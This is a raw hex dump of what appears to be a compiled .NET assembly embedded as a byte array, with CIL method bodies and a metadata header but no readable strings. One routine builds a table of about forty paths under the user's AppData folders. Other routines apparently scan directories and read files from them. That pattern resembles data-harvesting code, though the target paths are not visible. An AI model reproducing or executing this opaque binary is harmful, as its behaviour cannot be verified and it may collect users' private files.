0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x11, 0x00, 0x2E, 0x3F, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x05, 0x00, 0xA9, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x11, 0x73, 0x58, 0x00, 0x00, 0x0A, 0x0A, 0x14, 0x0B, 0x02, 0x73, 0x04, 0x00, 0x00, 0x06, 0x0B, 0xDE, 0x0C, 0x6F, 0x48, 0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0xDE, 0x00, 0x07, 0x72, 0xE5, 0x00, 0x00, 0x70, 0x6F, 0x0E, 0x00, 0x00, 0x06, 0x2C, 0x7D, 0x17, 0x0C, 0x16, 0x0D, 0x2B, 0x6C, 0x00, 0x07, 0x09, 0x72, 0xF5, 0x00, 0x00, 0x70, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x13, 0x04, 0x07, 0x09, 0x72, 0x39, 0x01, 0x00, 0x70, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x28, 0x6F, 0x00, 0x00, 0x06, 0x13, 0x06, 0x12, 0x06, 0x28, 0x4A, 0x00, 0x00, 0x0A, 0x13, 0x06, 0x12, 0x06, 0x28, 0x4B, 0x00, 0x00, 0x0A, 0x13, 0x05, 0x11, 0x04, 0x28, 0x4C, 0x00, 0x00, 0x0A, 0x2D, 0x26, 0x06, 0x12, 0x02, 0x28, 0x59, 0x00, 0x00, 0x0A, 0x73, 0x85, 0x00, 0x00, 0x06, 0x25, 0x11, 0x04, 0x6F, 0x82, 0x00, 0x00, 0x06, 0x25, 0x11, 0x05, 0x6F, 0x84, 0x00, 0x00, 0x06, 0x6F, 0x5A, 0x00, 0x00, 0x0A, 0x08, 0x17, 0x58, 0x0C, 0xDE, 0x03, 0x26, 0xDE, 0x00, 0x09, 0x17, 0x58, 0x0D, 0x09, 0x07, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x17, 0x59, 0x31, 0x89, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x09, 0x11, 0x00, 0x0C, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x31, 0x00, 0x64, 0x95, 0x00, 0x03, 0x19, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x05, 0x00, 0x85, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x11, 0x73, 0x5B, 0x00, 0x00, 0x0A, 0x0A, 0x14, 0x0B, 0x02, 0x73, 0x04, 0x00, 0x00, 0x06, 0x0B, 0xDE, 0x0C, 0x6F, 0x48, 0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0xDE, 0x00, 0x07, 0x72, 0xC5, 0x02, 0x00, 0x70, 0x6F, 0x0E, 0x00, 0x00, 0x06, 0x2C, 0x59, 0x16, 0x0C, 0x2B, 0x4A, 0x00, 0x07, 0x08, 0x72, 0x05, 0x03, 0x00, 0x70, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x0D, 0x07, 0x08, 0x72, 0x13, 0x03, 0x00, 0x70, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x13, 0x04, 0x11, 0x04, 0x28, 0x4C, 0x00, 0x00, 0x0A, 0x2D, 0x1C, 0x09, 0x28, 0x4C, 0x00, 0x00, 0x0A, 0x2D, 0x14, 0x06, 0x09, 0x73, 0x7E, 0x00, 0x00, 0x06, 0x25, 0x11, 0x04, 0x6F, 0x7D, 0x00, 0x00, 0x06, 0x6F, 0x5C, 0x00, 0x00, 0x0A, 0xDE, 0x03, 0x26, 0xDE, 0x00, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x17, 0x59, 0x31, 0xAB, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x09, 0x11, 0x00, 0x0C, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x2F, 0x00, 0x42, 0x71, 0x00, 0x03, 0x19, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x05, 0x00, 0xC6, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x11, 0x02, 0x28, 0x6E, 0x00, 0x00, 0x06, 0x73, 0x56, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x47, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x38, 0xA2, 0x00, 0x00, 0x00, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x39, 0x8F, 0x00, 0x00, 0x00, 0x09, 0x28, 0x67, 0x00, 0x00, 0x06, 0x13, 0x04, 0x09, 0x28, 0x68, 0x00, 0x00, 0x06, 0x6F, 0x5D, 0x00, 0x00, 0x0A, 0x13, 0x05, 0x2B, 0x5F, 0x12, 0x05, 0x28, 0x5E, 0x00, 0x00, 0x0A, 0x13, 0x06, 0x06, 0x73, 0x79, 0x00, 0x00, 0x06, 0x25, 0x03, 0x6F, 0x72, 0x00, 0x00, 0x06, 0x25, 0x12, 0x06, 0x28, 0x5F, 0x00, 0x00, 0x0A, 0x6F, 0x7C, 0x00, 0x00, 0x06, 0x6F, 0x74, 0x00, 0x00, 0x06, 0x25, 0x11, 0x04, 0x12, 0x06, 0x28, 0x60, 0x00, 0x00, 0x0A, 0x6F, 0x61, 0x00, 0x00, 0x0A, 0x6F, 0x81, 0x00, 0x00, 0x06, 0x6F, 0x76, 0x00, 0x00, 0x06, 0x25, 0x11, 0x04, 0x12, 0x06, 0x28, 0x60, 0x00, 0x00, 0x0A, 0x6F, 0x61, 0x00, 0x00, 0x0A, 0x6F, 0x83, 0x00, 0x00, 0x06, 0x6F, 0x78, 0x00, 0x00, 0x06, 0x6F, 0x62, 0x00, 0x00, 0x0A, 0x12, 0x05, 0x28, 0x63, 0x00, 0x00, 0x0A, 0x2D, 0x98, 0xDE, 0x0E, 0x12, 0x05, 0xFE, 0x16, 0x13, 0x00, 0x00, 0x1B, 0x6F, 0x15, 0x00, 0x00, 0x0A, 0xDC, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x3F, 0x55, 0xFF, 0xFF, 0xFF, 0x06, 0x2A, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x3D, 0x00, 0x6C, 0xA9, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x1B, 0x30, 0x04, 0x00, 0x54, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x11, 0x73, 0x64, 0x00, 0x00, 0x0A, 0x0A, 0x7E, 0x30, 0x00, 0x00, 0x04, 0x6F, 0x41, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x26, 0x12, 0x01, 0x28, 0x42, 0x00, 0x00, 0x0A, 0x0C, 0x06, 0x12, 0x02, 0x28, 0x43, 0x00, 0x00, 0x0A, 0x12, 0x02, 0x28, 0x44, 0x00, 0x00, 0x0A, 0x72, 0xC5, 0x02, 0x00, 0x70, 0x28, 0x6C, 0x00, 0x00, 0x06, 0x6F, 0x65, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x46, 0x00, 0x00, 0x0A, 0x2D, 0xD1, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x0B, 0x00, 0x00, 0x1B, 0x6F, 0x15, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x11, 0x00, 0x33, 0x44, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x06, 0x00, 0xC6, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x11, 0x02, 0x28, 0x6E, 0x00, 0x00, 0x06, 0x73, 0x64, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x47, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x38, 0xA2, 0x00, 0x00, 0x00, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x39, 0x8F, 0x00, 0x00, 0x00, 0x00, 0x09, 0x73, 0x04, 0x00, 0x00, 0x06, 0x13, 0x04, 0xDE, 0x0C, 0x6F, 0x48, 0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0xDE, 0x78, 0x11, 0x04, 0x04, 0x6F, 0x0E, 0x00, 0x00, 0x06, 0x2C, 0x6E, 0x16, 0x13, 0x05, 0x2B, 0x5C, 0x00, 0x11, 0x04, 0x11, 0x05, 0x72, 0x13, 0x03, 0x00, 0x70, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x13, 0x06, 0x11, 0x06, 0x28, 0x4C, 0x00, 0x00, 0x0A, 0x2D, 0x2E, 0x06, 0x73, 0x8A, 0x00, 0x00, 0x06, 0x25, 0x03, 0x6F, 0x87, 0x00, 0x00, 0x06, 0x25, 0x28, 0x4D, 0x00, 0x00, 0x0A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x11, 0x06, 0x6F, 0x22, 0x00, 0x00, 0x0A, 0x6F, 0x4E, 0x00, 0x00, 0x0A, 0x6F, 0x89, 0x00, 0x00, 0x06, 0x6F, 0x66, 0x00, 0x00, 0x0A, 0xDE, 0x0C, 0x6F, 0x48, 0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0xDE, 0x00, 0x11, 0x05, 0x17, 0x58, 0x13, 0x05, 0x11, 0x05, 0x11, 0x04, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x17, 0x59, 0x31, 0x97, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x3F, 0x55, 0xFF, 0xFF, 0xFF, 0x06, 0x2A, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x0A, 0x33, 0x00, 0x0C, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x4F, 0x00, 0x49, 0x98, 0x00, 0x0C, 0x19, 0x00, 0x00, 0x01, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x13, 0x30, 0x04, 0x00, 0x8B, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x11, 0x73, 0x67, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x3D, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x69, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x5F, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x69, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x83, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x69, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x95, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x69, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x6A, 0x00, 0x00, 0x0A, 0x2C, 0x37, 0x02, 0x28, 0x6B, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x2B, 0x26, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x72, 0xA9, 0x03, 0x00, 0x70, 0x6F, 0x6C, 0x00, 0x00, 0x0A, 0x2C, 0x11, 0x06, 0x09, 0x72, 0x83, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x69, 0x00, 0x00, 0x0A, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x32, 0xD4, 0x06, 0x2A, 0x00, 0x13, 0x30, 0x04, 0x00, 0x2D, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x11, 0x02, 0x28, 0x6D, 0x00, 0x00, 0x0A, 0x23, 0x8D, 0xED, 0xB5, 0xA0, 0xF7, 0xC6, 0xB0, 0x3E, 0x5A, 0x0A, 0x12, 0x01, 0x20, 0x41, 0x06, 0x00, 0x00, 0x17, 0x17, 0x28, 0x6E, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x06, 0x28, 0x6F, 0x00, 0x00, 0x0A, 0x28, 0x70, 0x00, 0x00, 0x0A, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00, 0xFF, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x1C, 0x28, 0x71, 0x00, 0x00, 0x0A, 0x80, 0x2E, 0x00, 0x00, 0x04, 0x1F, 0x1A, 0x28, 0x71, 0x00, 0x00, 0x0A, 0x80, 0x2F, 0x00, 0x00, 0x04, 0x73, 0x72, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xB9, 0x03, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xC7, 0x03, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF9, 0x03, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x11, 0x04, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x3F, 0x04, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x4B, 0x04, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x6D, 0x04, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x81, 0x04, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xAB, 0x04, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xC9, 0x04, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x0D, 0x05, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x1F, 0x05, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x47, 0x05, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x59, 0x05, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x91, 0x05, 0x00, 0x70, 0x7E, 0x2F, 0x00, 0x00, 0x04, 0x72, 0x9D, 0x05, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xD5, 0x05, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xE3, 0x05, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x21, 0x06, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x31, 0x06, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x55, 0x06, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x6D, 0x06, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xA5, 0x06, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xC1, 0x06, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF1, 0x06, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x03, 0x07, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x45, 0x07, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x83, 0x07, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xA9, 0x07, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xC5, 0x07, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xE5, 0x07, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x01, 0x08, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x4D, 0x08, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x6D, 0x08, 0x00, 0x70, 0x28, 0x68, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x93, 0x08, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xA9, 0x08, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF1, 0x08, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xFD, 0x08, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x29, 0x09, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x35, 0x09, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x55, 0x09, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x61, 0x09, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x81, 0x09, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x99, 0x09, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC5, 0x09, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xD3, 0x09, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF5, 0x09, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x03, 0x0A, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x35, 0x0A, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x57, 0x0A, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x8D, 0x0A, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xB7, 0x0A, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF5, 0x0A, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x03, 0x0B, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x25, 0x0B, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x35, 0x0B, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x59, 0x0B, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x69, 0x0B, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x9D, 0x0B, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xB1, 0x0B, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xE3, 0x0B, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xF3, 0x0B, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x17, 0x0C, 0x00, 0x70, 0x7E, 0x2F, 0x00, 0x00, 0x04, 0x72, 0x2D, 0x0C, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x95, 0x0C, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xA3, 0x0C, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xE1, 0x0C, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xEF, 0x0C, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x1F, 0x0D, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x3D, 0x0D, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x5F, 0x0D, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0x71, 0x0D, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x97, 0x0D, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xB3, 0x0D, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xE5, 0x0D, 0x00, 0x70, 0x7E, 0x2E, 0x00, 0x00, 0x04, 0x72, 0xF5, 0x0D, 0x00, 0x70, 0x28, 0x74, 0x00, 0x00, 0x0A, 0x6F, 0x73, 0x00, 0x00, 0x0A, 0x80, 0x30, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x3C, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x3C, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x3D, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x3D, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x3E, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x3E, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x3F, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x3F, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x1E, 0x02, 0x7B, 0x40, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x40, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x41, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x41, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x1E, 0x02, 0x7B, 0x42, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x42, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x43, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x43, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x44, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x44, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x1E, 0x02, 0x7B, 0x45, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x45, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x46, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x46, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2A, 0x00, 0x00, 0x42, 0x53, 0x4A, 0x42, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x76, 0x34, 0x2E, 0x30, 0x2E, 0x33, 0x30, 0x33, 0x31, 0x39, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x6C, 0x00, 0x00, 0x00, 0xC4, 0x18, 0x00, 0x00, 0x23, 0x7E, 0x00, 0x00, 0x30, 0x19, 0x00, 0x00, 0xF8, 0x11, 0x00, 0x00, 0x23, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x73, 0x00, 0x00, 0x00, 0x00, 0x28, 0x2B, 0x00, 0x00, 0x24, 0x0E, 0x00, 0x00, 0x23, 0x55, 0x53, 0x00, 0x4C, 0x39, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x23, 0x47, 0x55, 0x49, 0x44, 0x00, 0x00, 0x00, 0x5C, 0x39, 0x00, 0x00, 0xC0, 0x05, 0x00, 0x00, 0x23, 0x42, 0x6C, 0x6F, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x01, 0x57, 0x9D, 0xA2, 0x29, 0x09, 0x02, 0x00, 0x00, 0x00, 0xFA, 0x01, 0x33, 0x00, 0x16, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x74, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x0C, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x85, 0x0A, 0xC5, 0x0E, 0x06, 0x00, 0xF2, 0x0A, 0xC5, 0x0E, 0x06, 0x00, 0xB9, 0x09, 0x57, 0x0E, 0x0F, 0x00, 0xE5, 0x0E, 0x00, 0x00, 0x06, 0x00, 0xE1, 0x09, 0x33, 0x0D, 0x06, 0x00, 0x68, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0x49, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0xD9, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0xA5, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0xBE, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0xF8, 0x09, 0x33, 0x0D, 0x06, 0x00, 0xCD, 0x09, 0x7F, 0x0E, 0x06, 0x00, 0xAB, 0x09, 0x7F, 0x0E, 0x06, 0x00, 0x2C, 0x0A, 0x33, 0x0D, 0x06, 0x00, 0x13, 0x0A, 0x74, 0x0B, 0x06, 0x00, 0x2C, 0x10, 0xB9, 0x0C, 0x06, 0x00, 0x2C, 0x00, 0xB8, 0x01, 0x47, 0x00, 0x3F, 0x0E, 0x00, 0x00, 0x06, 0x00, 0x08, 0x09, 0xB9, 0x0C, 0x06, 0x00, 0x90, 0x09, 0xC5, 0x0E, 0x06, 0x00, 0x61, 0x00, 0xB8, 0x01, 0x57, 0x00, 0x3F, 0x0E, 0x00, 0x00, 0x06, 0x00, 0x52, 0x00, 0xB8, 0x01, 0x06, 0x00, 0x3D, 0x08, 0xB9, 0x0C, 0x06, 0x00, 0x45, 0x0D, 0xB9, 0x0C, 0x06, 0x00, 0x7C, 0x07, 0xB9, 0x0C, 0x06, 0x00, 0x10, 0x0B, 0xB9, 0x0C, 